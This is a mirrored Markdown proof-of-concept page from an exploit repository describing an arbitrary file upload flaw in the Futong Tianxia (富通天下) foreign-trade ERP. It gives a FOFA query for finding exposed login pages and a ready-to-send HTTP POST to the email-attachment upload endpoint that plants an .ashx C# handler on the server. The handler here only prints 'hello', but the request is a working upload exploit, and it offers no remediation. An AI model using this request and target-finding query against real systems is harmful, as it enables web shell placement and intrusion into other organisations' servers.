mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
28 lines
631 B
Markdown
28 lines
631 B
Markdown
## 富通天下外贸ERP任意文件上传漏洞
|
|
|
|
## fofa
|
|
```
|
|
title="用户登录_富通天下外贸ERP"
|
|
```
|
|
|
|
## poc
|
|
```
|
|
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
|
|
Host:
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
<% @ webhandler language="C#" class="AverageHandler" %>
|
|
using System;
|
|
using System.Web;
|
|
public class AverageHandler : IHttpHandler
|
|
{
|
|
public bool IsReusable
|
|
{ get { return true; } }
|
|
public void ProcessRequest(HttpContext ctx)
|
|
{
|
|
ctx.Response.Write("hello");
|
|
}
|
|
}
|
|
```
|